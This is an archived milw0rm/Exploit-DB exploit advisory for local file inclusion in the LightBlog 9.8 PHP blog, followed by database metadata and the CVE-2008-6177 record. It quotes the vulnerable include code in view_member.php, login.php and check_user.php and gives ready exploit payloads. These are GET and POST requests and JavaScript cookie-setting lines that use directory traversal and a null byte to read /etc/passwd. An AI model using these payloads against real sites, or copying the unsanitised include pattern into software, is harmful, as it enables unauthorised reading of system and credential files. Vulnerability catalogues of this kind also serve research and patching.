# LightBlog 9.8 (GET,POST,COOKIE) Multiple Local File Inclusion Vulnerabilies
# url: http://www.publicwarehouse.co.uk/php_scripts/lightblog.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
vuln file: view_member.php
vuln code:
8: if(isset($_GET['username']) and file_exists("./accounts/".$_GET['username'].".php")){
x: ...
24: include("./accounts/{$username_get}.php");
39: }
PoC: GET view_member.php?username=[file]%00
ExP: GET view_member.php?username=../../../../../../../../../../etc/passwd%00
---
vuln file: login.php
vuln code:
18: include("./accounts/".$_POST['username_post'].".php");
PoC: POST login.php?username_post=[file]%00
ExP: POST login.php?username_post=../../../../../../../../../../etc/passwd%00
---
vuln file: check_user.php
vuln code:
6: if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){
$username_cookie = $_COOKIE['Lightblog_username'];
$password_cookie = $_COOKIE['Lightblog_password'];
if(file_exists("./accounts/{$username_cookie}.php")){
13:include("./accounts/{$username_cookie}.php");
PoC: javascript:document.cookie = "Lightblog_username=[file]%00; path=/"; document.cookie = "Lightblog_password=JosS;
path=/";
ExP: javascript:document.cookie = "Lightblog_username=../../../../../../../../../../etc/passwd%00; path=/";
document.cookie = "Lightblog_password=JosS; path=/";
---
and more ...
hack0wn :D
# milw0rm.com [2008-10-21]
{"hash": "300fc5bdc1211fbcb39399d13c2b82d4c9ebc19198aaf38e1323c67d9ef491c9", "id": "EDB-ID:6797", "lastseen": "2016-02-01T00:40:50", "enchantments": {"vulnersScore": 7.2}, "bulletinFamily": "exploit", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/6797/", "description": "LightBlog 9.8 (GET,POST,COOKIE) Multiple LFI Vulnerabilities. CVE-2008-6177. Webapps exploit for php platform", "title": "LightBlog 9.8 - GET & POST & COOKIE Multiple LFI Vulnerabilities", "sourceData": "# LightBlog 9.8 (GET,POST,COOKIE) Multiple Local File Inclusion Vulnerabilies\n# url: http://www.publicwarehouse.co.uk/php_scripts/lightblog.php\n#\n# Author: JosS\n# mail: sys-project[at]hotmail[dot]com\n# site: http://spanish-hackers.com\n# team: Spanish Hackers Team - [SHT]\n#\n# This was written for educational purpose. Use it at your own risk.\n# Author will be not responsible for any damage.\n\nvuln file: view_member.php\nvuln code:\n8: if(isset($_GET['username']) and file_exists(\"./accounts/\".$_GET['username'].\".php\")){\nx: ...\n24: include(\"./accounts/{$username_get}.php\");\n39: }\n\nPoC: GET view_member.php?username=[file]%00\nExP: GET view_member.php?username=../../../../../../../../../../etc/passwd%00\n\n---\n\nvuln file: login.php\nvuln code:\n18: include(\"./accounts/\".$_POST['username_post'].\".php\");\n\nPoC: POST login.php?username_post=[file]%00\nExP: POST login.php?username_post=../../../../../../../../../../etc/passwd%00\n\n---\n\nvuln file: check_user.php\nvuln code: \n6: if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){\n\n $username_cookie = $_COOKIE['Lightblog_username'];\n $password_cookie = $_COOKIE['Lightblog_password'];\n\n if(file_exists(\"./accounts/{$username_cookie}.php\")){\n13:include(\"./accounts/{$username_cookie}.php\");\n\nPoC: javascript:document.cookie = \"Lightblog_username=[file]%00; path=/\"; document.cookie = \"Lightblog_password=JosS;\n path=/\";\nExP: javascript:document.cookie = \"Lightblog_username=../../../../../../../../../../etc/passwd%00; path=/\";\n document.cookie = \"Lightblog_password=JosS; path=/\";\n\n---\n\nand more ...\nhack0wn :D\n\n# milw0rm.com [2008-10-21]\n", "objectVersion": "1.0", "cvelist": ["CVE-2008-6177"], "published": "2008-10-21T00:00:00", "osvdbidlist": ["49213", "52123", "49214"], "references": [], "reporter": "JosS", "modified": "2008-10-21T00:00:00", "href": "https://www.exploit-db.com/exploits/6797/"}
{"result": {"cve": [{"id": "CVE-2008-6177", "type": "cve", "title": "CVE-2008-6177", "description": "Multiple directory traversal vulnerabilities in LightBlog 9.8, when magic_quotes_gpc is disabled, allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) username parameter to view_member.php, (2) username_post parameter to login.php, and the (3) Lightblog_username cookie parameter to check_user.php.", "published": "2009-02-19T11:30:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-6177", "cvelist": ["CVE-2008-6177"], "lastseen": "2017-09-29T14:26:18"}]}}
